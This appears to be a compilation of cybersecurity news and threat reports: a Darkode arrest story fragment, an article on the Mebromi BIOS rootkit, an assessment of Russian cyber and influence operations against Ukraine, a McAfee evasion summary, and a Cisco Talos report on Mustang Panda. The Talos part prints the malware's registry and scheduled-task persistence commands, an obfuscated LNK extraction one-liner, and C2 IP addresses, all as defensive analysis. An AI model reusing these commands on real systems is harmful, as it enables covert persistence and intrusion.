On Dec. 5, 2013, federal investigators visited McCormick at his University of Massachusetts dorm room. According to a memo filed by FBI agents investigating the case, in that interview McCormick acknowledged using the “fubar” identity on Darkode, but said he’d quit the whole forum scene years ago, and that he’d even interned at Microsoft for several summers and at Cisco for one summer.
A subsequent search warrant executed on his dorm room revealed multiple removable drives that held tens of thousands of stolen credit card records. For whatever reason, however, McCormick wasn’t arrested or charged until December 2018.
According to the FBI, back in that December 2013 interview McCormick voluntarily told them a great deal about his various businesses and online personas. He also apparently told investigators he talked with KrebsOnSecurity quite a bit, and that he’d tipped me off to some important developments in the malware scene.
News of Škorjanc’s arrest comes amid other cybercrime takedowns in Germany this past week. On Friday, German authorities announced they’d arrested seven people and were investigating six more in connection with the raid of a Dark Web hosting operation that allegedly supported multiple child porn, cybercrime, and drug markets with hundreds of servers buried inside a heavily fortified military bunker. |
# Malware Burrows Deep into Computer BIOS to Escape AV
## Dan Goodin
Researchers have discovered one of the first pieces of malware ever used in the wild that modifies the software on the motherboard of infected computers to ensure the infection can't be easily eradicated. Known as Trojan.Mebromi, the rootkit reflashes the BIOS of computers it attacks to add malicious instructions that are executed early in a computer's boot-up sequence. The instructions, in turn, alter a computer's MBR, or master boot record, another system component that gets executed prior to the loading of the operating system of an infected machine. By corrupting the processes that run immediately after a PC starts, the malware stands a better chance of surviving attempts by antivirus programs to remove it.
In addition to posing a threat to end users, Mebroot could create serious obstacles to antivirus developers in producing products that scrub computers clean of detected threats without harming the underlying system.
"Storing the malicious code inside the BIOS ROM could actually become more than just a problem for security software, given the fact that even if antivirus detects and cleans the MBR infection, it will be restored at the next system startup when the malicious BIOS payload would overwrite the MBR code again," Webroot researcher Marco Giuliani wrote in a blog post published Tuesday. "Developing an antivirus utility able to clean the BIOS code is a challenge, because it needs to be totally error-proof, to avoid rendering the system unbootable at all."
He went on to say the job of ridding malicious instructions added to the BIOS ultimately should be left to the makers of the motherboards that store the startup code. Because the BIOS is stored on an EEPROM, or electronically erasable programmable read-only memory chip, modifications have the potential to render a computer largely inoperable with no easy way to fix it.
The discovery represents one of the few times researchers have documented malware used in the wild that modifies the BIOS. In the late 1990s, malware known as CIH/Chernobyl did much the same thing on machines running Windows 9x by exploiting a privilege escalation bug in the Microsoft operating systems. In 2007, proof-of-concept software known as IceLord also reportedly made changes to the BIOS of infected machines, but there are no reports it has ever been used in actual attacks.
Mebromi is able to attack only BIOS ROMs made by Award, a manufacturer that was purchased by Phoenix in the late 1990s. The malware checks the BIOS ROM each time the PC boots up. If it's made by Award and the malicious instructions aren't found, Mebromi adds the code by reflashing the chip on the motherboard. According to Giuliani, it was first documented by the Chinese security company Qihoo 360, and primarily infects computers in that country. |
# Executive Overview of Russian Aggression Against Ukraine
**Executive Summary**
In the event of a renewed Russian invasion of Ukraine, it is likely that cyber offensive actions targeting Ukraine will primarily consist of distributed denial-of-service (DDoS) attacks and website defacements against Ukrainian government and media organizations, internet infrastructure, and e-services used by Ukrainian citizens such as digital banking. These cyberattacks would likely aim to cause confusion, hinder communications, weaken a Ukrainian military response, and demoralize the Ukrainian population as part of a wider hybrid warfare operation.
Russia is almost certainly using influence assets and techniques, both covertly and overtly, to shape domestic, Ukrainian, and international audience perceptions of its military buildup along Ukraine’s northern, southern, and eastern borders. Key influence narratives include that Russia, not Ukraine, is a victim of aggression; that Russia is a defensive protector; and allegations of infighting among NATO partners.
Insikt Group has not observed Russian troop or asset withdrawal from the border of Ukraine, and we have observed additional troops and specialized equipment moving towards Ukraine, in line with US, NATO, and Ukrainian assessments. We further concur with assessments that Russia is plotting a false-flag operation as a pretext for a Russian invasion of Ukraine, with an increased presence of Russian private military companies and recent examples of likely false-flag operations being conducted. In addition, the Russian State Duma has prepared legislation to formally recognize the independence of the self-proclaimed Donetsk People’s Republic (DPR) and Luhansk People’s Republic (LPR).
## Cyber Offensive Actions
### Recent Cyber Offensive Actions Targeting Ukraine
Recent cyberattacks targeting Ukraine have aligned with Russia’s strategic objectives. The cyberattacks have consisted of DDoS attacks, website defacements, fraudulent messaging, and malware attacks, predominantly targeting Ukrainian government organizations, media organizations, e-services used by citizens, and other private sector organizations. Notable attacks include:
- **DDoS**: On February 15, 2022, powerful DDoS attacks targeted Ukraine’s armed forces, defense ministry, public radio, and the two largest national banks, knocking some services offline for two hours. The DDoS attacks left Ukrainians unable to use some vital services and resulted in confusion and worry as Russian forces continued to gather on the Ukrainian border. There has been further DDoS activity since, including targeting of the Government Services Portal of Ukraine, though there was reportedly no effect on the website.
- **Fraudulent Messaging**: In coordination with the DDoS attacks against Ukrainian organizations including banks on February 15, 2022, some users of Privatbank received an SMS message alerting them that the bank’s ATMs were not working. However, these messages were not sent by Privatbank, and Ukrainian cyber police stated that “it was an information attack”.
- **Website Defacements**: On January 14, 2022, threat actors likely serving Russian strategic objectives defaced nearly 70 Ukrainian government websites, including those belonging to the Ukrainian Ministry of Foreign Affairs, Ministry of Defense, State Emergency Service, Cabinet of Ministers, and Ministry of Education and Science. The attacks were later suspected to have been conducted by Advanced Persistent Threat (APT) UNC1151, a group linked to the Belarusian government that used malware bearing similarities to tools previously used by Russian state-sponsored APT29. The defacements vaguely warned Ukrainians to “expect the worst,” spurring fears that the defacement is the beginning of additional threat activity preceding a Russian conventional military campaign in eastern Ukraine.
- **Malware**: Data-wiping malware disguised as ransomware, dubbed WhisperGate, targeted multiple industries in Ukraine, including government, non-profit, and information technology organizations in January 2022. Ukraine’s CERT indicated the attacks were a false-flag operation, mimicking WhiteBlackCrypt ransomware, likely in an attempt to make attribution more difficult. Insikt Group analyzed the WhisperGate malware and created detection rules for our clients. We support the false-flag assessment and note that such tactics have previously been employed by Russian threat actors when targeting Ukraine, for example, the use of BadRabbit ransomware.
### Dark Web and Cybercriminal Activity Involving Ukraine
Insikt Group has identified a significant uptick in dark web advertisements and sales of data and network access methods related to Ukraine in the last three months. We identified seven Insikt Group Threat Leads related to Ukraine in the last 12 months, with six of those being identified in the last three months.
On February 2, 2022, we identified that “an3key,” a member of the mid-tier Raid Forums, advertised a 904 GB data leak from the internal mail server of the Ministry of Communities and Territories Development of Ukraine. On January 28, 2022, we identified that “Kristina,” a member of the mid-tier Raid Forums, advertised a free document leak related to the Ukrainian National Police. Based on sample images and threat actor indications, the compromised information includes scans of passports, identification cards, and other sensitive documents related to local and federal police officers throughout Ukraine and occupied territories.
Insikt Group reported on February 10, 2022, that Raid Forums was offline for a week. Since its reopening the week of February 14, 2022, the forum is being viewed by users with speculation, as the forum’s administrator remains unresponsive, other administrative-level accounts are acting irregular, and prominent threat actors on the forum are abandoning their activities.
### Assessment on Cyber Offensive Actions in the Event of a Russian Invasion
In the event of a renewed Russian invasion of Ukraine, we believe it is likely that cyber offensive actions targeting Ukraine will primarily consist of DDoS attacks and website defacements against Ukrainian government and media organizations, internet infrastructure, and e-services used by Ukrainian citizens such as digital banking. These cyberattacks would likely aim to cause confusion, hinder communications, weaken a Ukrainian military response, and demoralize the Ukrainian population as part of a wider hybrid warfare operation.
It is also likely that a more significant cyberattack will target Ukrainian physical infrastructure in the event of an invasion, reminiscent of previous cyberattacks against Ukraine’s power supply and destructive pseudo-ransomware attacks. We believe it’s almost certain that Russian state-sponsored APT groups have the capability to launch such significant and destructive attacks.
We expect Russian state-sponsored threat actors, pro-Russian hacktivist and criminal groups enabled by the Russian government, and APT groups linked to the Belarusian government likely supported by the Russian government to be involved in cyber offensive actions targeting Ukraine in the event of a renewed Russian invasion of the country.
The above assessments are based on Insikt Group’s analysis of Russian hybrid warfare tactics targeting Estonia in 2007, Georgia in 2008, and Ukraine from 2014 onwards.
### Assessment on Cyber Offensive Actions Against Other Countries
There are concerns that Russian state-sponsored cyberattacks could also be launched against organizations outside of Ukraine in conjunction with a Russian military invasion of Ukraine. The US and the UK have issued warnings to this extent. We believe these concerns are justified based on previous undisciplined Russian APT cyberattacks that were likely intended to target only Ukraine but spread much wider. Furthermore, it’s plausible that Russia would seek to conduct cyberattacks against NATO countries to distract efforts and attention away from the invasion of Ukraine.
An example of an undisciplined cyberattack likely intended to target Ukraine specifically is Sandworm Team’s NotPetya attack in June 2017, which was estimated to have cost victims more than $10 billion in total. The attack first targeted Ukrainian companies on June 27, 2017, the eve of the Ukrainian holiday Constitution Day, but spread to other countries, including the US, UK, France, Germany, Italy, Poland, Australia, and even Russia. Security company ESET claimed that 80% of victims were located in Ukraine. There was temporary disruption of public infrastructure and business, lasting destruction of data, and significant economic damage across 65 countries.
Another example is the BadRabbit ransomware attack in October 2017, also attributed to Russia, which similarly appeared to spread in an uncontrolled manner, affecting organizations primarily in Ukraine and Russia, but which also spread to other countries, including Turkey, Germany, Poland, Japan, South Korea, and the US.
## Influence Operations
### Russia’s Multi-faceted and Versatile Influence Ecosystem Shaping Perceptions of Military Build-up
Russia is almost certainly using influence assets and techniques, both covertly and overtly, to shape domestic, Ukrainian, and international audience perceptions of its military buildup along Ukraine’s northern, southern, and eastern borders. We believe that current Russian information operations are employing a multi-faceted and versatile approach to manipulate the narrative of this crisis, using developed human intelligence assets on the ground in Ukraine, covert elements of Russia’s disinformation ecosystem, social media influence operations, and official, overt propaganda through the Russian state media and political apparatus.
It is likely that the overarching goal of these efforts is to promote the rise of a pro-Russian or Russian-friendly government at the local and national levels of Ukraine’s government in the long term. In the short term, these tactics are more likely aimed at creating a destabilizing environment before a possible Russian invasion, in an attempt at achieving victory more easily and with less cost.
The Ukrainian SBU issued a statement on February 14, 2022, warning that the “domestic information space is under unprecedented influence,” stating that “Ukraine is facing attempts to systemically sow panic, spread fake information and distort the real state of affairs” and that “all this combined is nothing more than another massive wave of hybrid warfare.”
On February 9, 2022, the SBU announced that it had identified and shut down a social media bot farm consisting of 18,000 social media accounts allegedly spreading panic on social media as well as allegations of bomb threats on civilian and critical infrastructure.
### Key Themes of Russian Influence Operations Involving Ukraine
Insikt Group has observed ongoing Russian covert and overt influence operations promoting a false primary narrative that Russia, not Ukraine, is a victim of aggression. These sources, often collectively, promote allegations and statements claiming that Ukraine, with support from its Western partners, is preparing to launch an offensive in eastern Ukraine. Often, we have found that these claims originate from proxies in eastern Ukraine and then are amplified in Russian state media and government sources.
In support of this larger theme, anti-American and anti-Ukrainian disinformation narratives in Russian sources tend to portray Russia as a defensive protector, while broadly accusing the West and Ukraine of unlawful and unjust actions. Additionally, these sources present NATO, the US, and Ukraine as the aggressors, alleging human rights violations against Russian minorities in Ukraine, demonizing Ukrainians as “fascists” and “neo-Nazis” and claiming that Ukraine does not follow the internationally recognized Minsk Agreements.
Other widespread themes more recently include allegations of infighting among NATO partners suggesting that the West cannot achieve a consensus on how to manage Russia, as well as negative portrayals of Western media, claiming that Western news outlets spread malicious information about Russia in an attempt to force it into a war with Ukraine.
## Geopolitics and Physical Threats
### Russian Military Activities
Insikt Group has not observed Russian troop or asset withdrawal from the border of Ukraine, despite official Russian government and media reports of troop withdrawal. We observed new videos and photos posted on social media continuing to show troops and specialized equipment moving towards Ukraine, in line with the US, NATO, and Ukrainian assessments that Russia has in fact added 7,000 troops to the border. The latest US assessments indicate that Russia has massed between 169,000 and 190,000 personnel in and near Ukraine, and we believe that Russia is in fact increasing the capabilities of its military on the border with Ukraine.
US intelligence assessments state that a Russian invasion of Ukraine will likely start with air and missile attacks on key Ukrainian military infrastructure, including airfields, air defense, and early warning systems, and that the Russian military is likely to invade from multiple points on the Ukrainian border in the east and the north, in an attempt to surround Kyiv within 1-2 days. Indeed, the Estonian Foreign Intelligence Service released a report showing “targets in Ukraine compiled by Russian intelligence that, if neutralized, can interfere with the command, recovery, and supply of the Ukrainian Armed Forces and Ukraine’s energy supply.”
Russia’s military exercises with Belarus will conclude on February 20, 2022, as will the Beijing Winter Olympics, which we believe will be a pivotal moment to observe whether Russia does indeed decide to withdraw troops and military assets from Belarus and the border with Ukraine.
### Provocations and False-Flag Operations
Insikt Group concurs with the US, UK, NATO, and other assessments that Russia is plotting false-flag operations as a pretext for a Russian invasion of Ukraine. We have observed discourse from Russian politicians suggesting there’s a high probability that Ukraine will launch a military offensive in Donbas, that Russia has a right to “counterattack” if it felt the need to protect Russian citizens living in eastern Ukraine, that Russia is concerned about reports of Ukrainian violence in Donbas and is closely monitoring the situation, and Putin comparing the actions of Ukraine in Donbas to genocide.
Furthermore, Russian private military companies have reportedly increased their presence in Ukraine, presenting the Russian government with a further avenue to conduct a false-flag operation. We have observed recent instances of potential false-flag attempts, including the shelling of a kindergarten in Donbas.
On February 16, Kremlin Press Secretary Dmitry Peskov told reporters that there is a high probability that Ukraine will launch a military offensive in Donbas. On February 15, 2022, Putin once again compared the situation in Donbas to genocide, saying that Ukrainian authorities are abusing the human rights of ethnic Russians in the region. On February 14, 2022, the Russian ambassador to the EU Vladimir Chizhov stated that Russia has a right to “counterattack” if it felt the need to protect Russian citizens living in eastern Ukraine.
Russian state-affiliated media continue to report on alleged Ukrainian military violence in Luhansk and Donetsk. For example, Sputnik reported on February 17, 2022, “Ukrainian Armed Forces Fire Mortar Shells, Grenades on 4 LPR Localities.”
Two recent potential false-flag operations include the Investigative Committee of Russia’s decision to open a criminal case on “the discovery of mass graves of victims of the Armed Forces of Ukraine in the DPR and LPR” and the shelling of a kindergarten in Ukraine, with pro-Russian and pro-Ukrainian social media accounts accusing the other side of conducting the attack.
On February 17, 2022, the Organization for Security and Co-operation in Europe’s Special Monitoring Mission to Ukraine recorded 189 ceasefire violations, including 128 explosions, in the Donetsk region. There were a further 402 ceasefire violations, including 188 explosions, in the Luhansk region. This represents a significant increase from the previous day, with 24 and 129 ceasefire violations, respectively.
### Russian Government Prepares Legislation to Formally Recognize LPR and DPR
On February 15, 2022, the Russian State Duma adopted a draft resolution on an appeal to the President of the Russian Federation with a request to recognize the independence of the self-proclaimed DPR and LPR. The document has now been sent to Russian President Vladimir Putin for consideration.
On February 16, 2022, Wendy Sherman, the US Deputy Secretary of State, in an interview with Ukrainian Pravda, stated that Russia recognizing the DPR and LPR would mean the rejection of Russian obligations under the Minsk Agreements. Earlier, NATO Secretary-General Jens Stoltenberg and Ukrainian Minister of Foreign Affairs Dmytro Kuleba expressed similar views regarding the recognition of self-proclaimed republics by the Russian government.
The heads of DPR and LPR both announced on social media that they welcomed the position of the Russian State Duma and are grateful to the Russian Federation amid alleged increased aggression, including “daily shelling” and troop build-up from Ukraine. |
# McAfee Labs Threats Report
## June 2017
### Executive Summary
There are hundreds, if not thousands, of evasion techniques employed by malware authors. We examine some of these techniques and how malware authors use them to accomplish their goals.
### Key Topics
#### Malware evasion techniques and trends
Malware developers began experimenting with ways to evade security products in the 1980s. Today, there are numerous anti-security, anti-sandbox, and anti-analyst evasion techniques. This Key Topic details today’s most powerful and common evasion techniques and explains how malware authors try to use them to accomplish their goals.
#### Hiding in plain sight: The concealed threat of steganography
Steganography has been around for centuries. In the digital world, attackers use digital steganography to pass information by security systems without detection. We explore the field of digital steganography, its history, common methods, and its use in popular malware.
#### The growing danger of Fareit, the password stealer
Fareit is the most famous password-stealing malware. We cover its origins, typical infection vectors, architecture, inner workings, and how it was likely used in the breach of the Democratic National Committee before the 2016 U.S. Presidential election.
### Evasion Techniques
To perform malicious actions, attackers create malware. However, they cannot achieve their goals unless their attempts remain undetected. Evasion techniques can be classified into three broad categories:
- **Anti-security techniques**: Used to avoid detection by antimalware engines, firewalls, and other protective tools.
- **Anti-sandbox techniques**: Used to detect automatic analysis and avoid engines that report on malware behavior.
- **Anti-analyst techniques**: Used to detect and fool malware analysts.
Some advanced malware samples employ multiple techniques together. For example, malware can use a technique like RunPE to evade antimalware software, a sandbox, or an analyst.
### Digital Steganography
Digital steganography can be divided into text, image, audio, and video steganography. The most common form uses images, where secret data is hidden by direct manipulation of pixel values.
### Steganography in Cyberattacks
Malware uses digital steganography to hide its malicious content within seemingly innocent cover files. The first known use of steganography in a cyberattack was in the Duqu malware, which surfaced in 2011.
### Conclusion
For malware to perform its malicious actions, it must remain undetected. As security technology becomes more sophisticated, evasion techniques have also evolved. Understanding these techniques is crucial for developing effective defenses against malware. |
# Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Mustang Panda Deploys a New Wave of Malware Targeting Europe
By Jung Soo An, Asheer Malhotra, and Justin Thattil, with contributions from Aliza Berk and Kendall McKay.
In February 2022, corresponding roughly with the start of the Russian invasion of Ukraine, Cisco Talos began observing the China-based threat actor Mustang Panda conducting phishing campaigns against European entities, including Russian organizations. Some phishing messages contain malicious lures masquerading as official European Union reports on the conflict in Ukraine and its effects on NATO countries. Other phishing emails deliver fake "official" Ukrainian government reports, both of which download malware onto compromised machines.
Mustang Panda has been known to use themed lures relating to various current-day events and issues, including the COVID-19 pandemic, international summits, and various political topics. While the Ukraine-related Mustang Panda developments have been reported by at least one other security firm, we identified additional samples that have not been cited in open-source reporting. Apart from targeting European countries, Mustang Panda has also targeted organizations in the U.S. and Asia.
In these campaigns, we've observed the deployment of Mustang Panda's PlugX implant, custom stagers, reverse shells, and meterpreter-based shellcode, all used to establish long-term persistence on infected endpoints with the intention of conducting espionage.
## Threat Actor Profile
Mustang Panda, also known as "RedDelta" or "Bronze President," is a China-based threat actor that has targeted entities all over the world since at least 2012, including American and European entities such as government organizations, think tanks, NGOs, and even Catholic organizations at the Vatican. We've also observed extensive targeting of Asian countries, such as the Taiwanese government, activists in Hong Kong, NGOs in Mongolia and Tibet, Myanmar, and even Afghan and Indian telecommunication firms.
The threat actor heavily relies on sending lures via phishing emails to achieve initial infection. These lures often masquerade as legitimate documents of national and organizational interest to the targets. These infection vectors deploy malware predominantly consisting of the PlugX remote access trojan (RAT) with custom stagers, reverse shells, meterpreter, and Cobalt Strike, which act as another mechanism for achieving long-term access into their targets. One thing remains consistent across all these campaigns — Mustang Panda is clearly looking to conduct espionage campaigns.
## Threat Actor TTPs
Mustang Panda's recent activity targets European entities, including Russian targets, and uses political themes to deliver the PlugX family of malware implants. Typical infection chains employed by Mustang Panda consist of three key components:
1. **Benign executable**: Used to side-load a malicious DLL.
2. **Malicious DLL (loader)**: The malicious DLL accompanying the executable is usually a loader for the PlugX implant, typically an encrypted or encoded blob of data deployed by the loader DLL.
3. **PlugX implant**: A RAT implant used extensively by Mustang Panda. It consists of a malicious DLL that can perform a variety of actions on the infected endpoint, including downloading and deploying new modules/plugins.
Infection chains utilized by the APT group typically consist of:
- **Executable downloaders**: These downloaders are delivered packaged in an archive. The downloaders are responsible for fetching and instrumenting various infection artifacts, resulting in the deployment of the PlugX implant on the infected endpoint.
- **Archive-based infections**: Malicious archives delivered to targets typically consist of a benign executable with names meant to trick victims into executing them. The executable will load a malicious DLL which can either be the loader for the PlugX implant or a reverse shell or meterpreter-based shellcode downloader.
- **Shortcut files**: Shortcuts (LNK files) delivered to victims consist of all the infection components embedded in the LNK files. These consist of intermediate components like BAT files that are meant to load the malicious DLLs which may be PlugX loaders or stagers.
- **Maldocs**: We've also observed limited use of maldocs to target entities in Asia with the stagers and meterpreter payloads to execute the next stage of shellcode payloads.
## Targets Across the World
### European Political Lures
This attacker started attacks earlier this year where a vast majority of the lures and decoys consisted of themes related to the European Union (EU). For example, in early January 2022, we saw the attackers employ a lure that consisted of a European Commission report on state aid to Greece between 2022 and 2027. Toward the end of January, the attackers started using a press release from the EU regarding the union's human rights priorities in 2022.
The attackers also started taking advantage of publications and documents related to the degrading relations between Ukraine and Russia. In late January, the group started spreading a lure containing PlugX that disguised itself as a report from the EU's general secretary. When Russia invaded Ukraine on Feb. 24, 2022, the attackers started using related documents to infect their targets. A lure from Feb. 28 was disguised as a report on the situation along European borders with Ukraine, while another one in March consisted of a report on the situation along the European borders with Belarus.
While the threat actors continued the use of regional and topical events in Eastern Europe, they also used other topics of interest to infect their victims. In March, we observed the use of a lure targeting Russian agencies, a malicious executable delivering the PlugX implant, named "Благовещенск - Благовещенский Пограничный Отряд.exe," roughly translating to "Blagoveshchensk - Blagoveshchensk Border Guard Detachment.exe," a report on the border detachment to Blagoveshchensk, a town of strategic importance to Russia, located on the Sino-Russian border.
### American-Themed Political Lures
Since at least May 2016, Mustang Panda has operated campaigns targeting multiple entities in the United States. Additionally, the APT has frequently used overlapping topics of interest to multiple entities across the globe. Some of their lures such as "U.S. Asst Secretary of State Visit to ASEAN Countries.rar" from December 2021 and "Biden's attitude towards the situation in Myanmar.zip" from February 2021 reaffirm this trend of targeting two birds with one stone. In all these instances, we observed the use of stagers as the final payloads in the infection chains instead of a direct deployment of PlugX.
### Asian-Themed Lures
Mustang Panda has been extremely prolific in targeting various government entities in Asian countries over the past few years such as those in Myanmar, Hong Kong, Japan, and Taiwan. The threat actor has aggressively targeted the government of Myanmar since 2019, even breaching their websites on multiple occasions to host malware payloads. This targeting continued into 2021 with lures related to the National Unity Government of Myanmar and its People's Defence Force. All these attacks resulted in the deployment of an implant executing meterpreter HTTP shellcode.
Mustang Panda has frequently used the ASEAN summit as a topic for their lures to infect individuals participating in this summit. Using such topics enables the APT to infect a wide range of targets (the ASEAN association consists of 10 member countries in Southeast Asia). This tactic is in line with Mustang Panda's practice of using an overlapping topic of interest to target multiple entities with the same lures.
In March 2021, the APT targeted government entities in Hong Kong using a malicious archive named "Report.rar." This archive contained a lure named "Report 18-3-2021 101A.exe" for sideloading a malicious DLL-based meterpreter stager. The keyword "101A" refers to Section 101A of the Criminal Procedure Ordinance which dictates terms of use of force in making arrests in Hong Kong, a hot topic on account of recent civil unrest and protests.
Japanese government officials have also been targeted recently using lures masquerading as minutes of the Japanese cabinet's meetings in 2021. Lures such as "210615_Cabinet_Meeting_Minutes.exe" and "210831_21st Cabinet Meeting Minutes.rar" have been actively used to infect victims with custom stagers.
## Latest Infection Vectors
### Downloaders
Beginning in 2022, we observed Mustang Panda distributing malicious executables acting as downloaders, disguised as fake reports on various Europe-related subjects as initial infection vectors against targets in Europe. These executables were usually distributed wrapped up in an archive file to the targets. Recently, ESET disclosed a similar infection delivering a previously unknown PlugX variant.
As recently as March 2022, we discovered a downloader pretending to be a report on the current situation along European borders with Belarus. In another instance, we observed an executable named "Благовещенск - Благовещенский Пограничный Отряд.exe," roughly translating to "Blagoveshchensk - Blagoveshchensk Border Guard Detachment.exe," a report on the border detachment to Blagoveshchensk, a town located on the Sino-Russian border.
The downloader loads all the artifacts in the infection chain. All the artifacts are data files that need to be decoded by the various infection components before being activated on the infected endpoint. There are four components downloaded as part of the infection chain:
1. The first component is a decoy PDF masquerading as an official European Union report on the conflict in Ukraine and its effects on NATO countries. This document is not malicious and only serves to project authenticity and distract the victim.
2. A benign executable that loads the third component — a malicious DLL-based loader — via the DLL sideloading technique. DLL sideloading involves tricking a benign process into loading a malicious DLL that disguises itself as legitimate.
3. The DLL loader responsible for decoding, loading, and activating the final malicious implant, is also a DLL. First, it reads a data file downloaded by the downloader binary from a hardcoded location on disk and decodes the data file into a DLL. Then, the loader reflectively loads the final DLL-based implant into the memory of the current process and runs it.
4. A RAT called PlugX, Mustang Panda's malware of choice.
### Archive-Based Infections
While Mustang Panda recently began using downloader executables, the group continues to deliver their malware via archive files consisting of a benign executable that loads and activates the accompanying malware payload DLL, which they have done since at least 2019.
### PlugX
Throughout 2021, we observed the use of malicious archives containing an executable (loader), a DLL-based loader, and an encrypted blob of data (DAT file) being delivered to targets. It's responsible for decrypting the DAT file containing the PlugX implant.
The executable is typically executed via:
- **Social engineering**: Disguising the initial executable as a legitimate document to trick the target into opening it, thereby starting the infection chain.
- **Shortcut file**: A shortcut file that executes an intermediate component, such as a BAT file that runs the executable.
### Bespoke Stagers
Mustang Panda infections in late January 2022 resulted in the deployment of bespoke stagers that downloaded additional shellcode from a remote location that would, in turn, be deployed on the infected endpoint. The stager typically arrives in the form of an archive on the target's endpoint. The archive contains an executable that needs to be executed by the victims. Once executed, it loads the accompanying DLL, which is the key malicious component. The DLL is responsible for decoding an embedded blob of shellcode, which, when executed, acts as a stager that can download and execute additional shellcode from a C2 IP address.
This infection tactic has been heavily used by Mustang Panda in Asia. For example, in February 2022, in a campaign targeting users from Southeast Asian countries, the group used an archive-file-based lure masquerading as documents pertaining to the ASEAN Summit. The archive consists of an executable named "ASEAN Leaders'Meeting.exe" that loads the accompanying DLL-based implant. The executable is a legitimate copy of a component belonging to the KuGou Active Desktop application. It imports two exported APIs from the malicious PlugX DLL to activate the implant.
### Stager Analysis
The stager begins by creating persistence for itself across reboots via the registry Run key using the command and living-off-the-land binaries and scripts (LoLBAS):
```
c:\windows\system32\cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Amdesk /t REG_SZ /d "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:\Users\Public\Libraries\active_desktop\desktop_launcher.exe"" /f
```
Additionally, it will also set up persistence for itself to run every minute on the infected endpoint by creating a Scheduled Task on the system using the command:
```
C:\windows\system32\schtasks.exe /F /Create /TN Microsoft_Desktop /sc minute /MO 1 /TR C:\Users\Public\Libraries\active_desktop\desktop_launcher.exe
```
The implant will then decode and activate the next shellcode via a new thread.
### Meterpreter
Another type of stager used by Mustang Panda, some as recently as late 2021, are DLL-based implants that decode and execute Meterpreter reverse-HTTP payloads to download and execute even more payloads from the C2. We observed this actor using Meterpreter dating back to 2019, when it was deployed via malicious archives hosted on the Myanmar government's website. Meterpreter's use as an intermediate access mechanism continued at least into June 2021, with a brief lull, followed by the adoption of bespoke stagers in 2022.
### Reverse Shell
In late February 2022, the threat actors used another previously undisclosed Ukrainian-themed lure named "Офіційна заява Апарату РНБО України\Про введення в дію плану оборони України та Зведеного плану територіальної оброни України.exe," which roughly translates to "official statement from the National Security and Defense Council of Ukraine." This infection chain consisted of activating a simple, yet new, TCP-based reverse shell using cmd.exe as opposed to directly deploying the PlugX implant, stagers, and Meterpreter seen in parallel infection chains from Mustang Panda.
The reverse shell DLL will copy itself and the executable responsible for loading it into a folder on a target machine's disk, such as:
```
C:\Users\Public\Libraries\iloveukraine\Microsoft_Silverlight.exe
C:\Users\Public\Libraries\iloveukraine\kdump.dll
```
The implant is also responsible for setting up persistence on the system to ensure the reverse shell runs once a minute via a scheduled task:
```
C:\windows\system32\schtasks.exe /F /Create /TN Microsoft_Silverlight /sc minute /MO 1 /TR C:\Users\Public\Libraries\iloveukraine\Microsoft_Silverlight.exe
```
### Shortcut Files (LNK)
The use of shortcut files (LNK) has been a popular technique with Mustang Panda since at least 2019 against entities in Asian countries. While the frequency of use of this tactic has reduced over the past couple of years, it is still seen being sporadically utilized by the threat actors. As late as March 2021, a shortcut file targeting users in Myanmar deployed Mustang Panda's Stager against their targets. This shortcut file consists of a command to extract content from itself and execute as a BAT file:
```
/c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x\2021-03-11.lnk" /s /b') do (more +540 /S %i |find "PGL">%public%\gtgc.bat& %public%\gtgc.bat)
```
The BAT is responsible for extracting the next JavaScript payload and executing it via wscript.exe on the endpoint.
### Maldocs
In some instances, we also observed the use of maldocs targeting Asian countries such as Taiwan to deploy stagers that could execute meterpreter shellcode to communicate with the C2 server and execute the next payloads on the infected system. The malicious macros contain two more components that are dropped to disk on the infected system. One component is a benign executable that is run by the macro to load the second component, a malicious DLL, which establishes persistence for the EXE and DLL via the registry Run key.
```
/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Acerodp /t REG_SZ /d "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:\Users\Public\Libraries\win\Acrobat.exe"" /f
```
Then, the DLL executes the shellcode embedded in it — a meterpreter reverse HTTP shell to download and execute the next payload.
## Conclusion
Over the years, Mustang Panda has evolved their tactics and implants to target a wide range of entities spanning multiple governments in three continents, including the European Union, the U.S., Asia, and pseudo allies such as Russia. By using summit- and conference-themed lures in Asia and Europe, this attacker aims to gain as much long-term access as possible to conduct espionage and information theft. Apart from Mustang Panda's tool of choice, PlugX, we've observed a steady increase in the use of intermediate payloads such as a variety of stagers and reverse shells. The group has also continuously evolved its delivery mechanisms consisting of maldocs, shortcut files, malicious archives, and more recently seen downloaders starting with 2022. Mustang Panda is a highly motivated APT group relying primarily on the use of topical lures and social engineering to trick victims into infecting themselves. In-depth defense strategies based on a risk analysis approach can deliver the best results in protecting against such a highly motivated set of threat actors. However, this should always be complemented by a good incident response plan which has not only been tested with tabletop exercises but also reviewed and improved every time it is put to the test on real engagements.
## IOCs
### Hashes
- bee9c438aced1fb1ca7402ef8665ebe42cab6f5167204933eaa07b11d44641bb
- dbdbc7ede98fa17c36ea8f0516cc50b138fbe63af659feb69990cc88bf7df0ad
- 18230e0cd6083387d74a01bfc9d17ee23c6b6ea925954b3d3c448c0abfc86bd2
- 19870dd4d8c6453d5bb6f3b2beccbbbe28c6f280b6a7ebf5e0785ec386170000
- 1d484ada6d7273ca26c5e695a38cb03f75dee458bcb0f61ea81a6c87d35a0fa0
- 668cc21387e01b87c438e778b3a08c964869ce2c7f22c59bcde6604112d77b2e
- 8a7fbafe9f3395272548e5aadeb1af07baeb65d7859e7a1560f580455d7b1fac
- effd63168fc7957baf609f7492cd82579459963f80fc6fc4d261fbc68877f5a1
- 6019e6ee3dee2ec798667ccb34a2ab8d70bf5960d35f55157a9cb535b00b243f
- 436d5bf9eba974a6e97f6f5159456c642e53213d7e4f8c75db5275b66fedd886
- 82df9817d0a8dca7491b0688397299943d9279e848cdc4a5446d3159d8d71e6f
- ca622bdc2b66f0825890d36ec09e6a64e631638fd1792d792cfa02048c27c69f
### IPs
- 101.36.125.203
- 103.159.132.70
- 103.15.28.145
- 103.15.28.208:443
- 103.15.28.208:80
- 103.200.97.150
- 103.75.190.50
- 103.91.64.134
- 107.167.64.4:443
- 107.178.71.211
- 110.42.64.64:24680
- 155.94.200.209
- 155.94.200.212
- 176.118.167.36
- 185.239.226.17
- 18.138.107.235
- 202.58.105.38:80
- 45.248.87.162
- 45.43.50.197
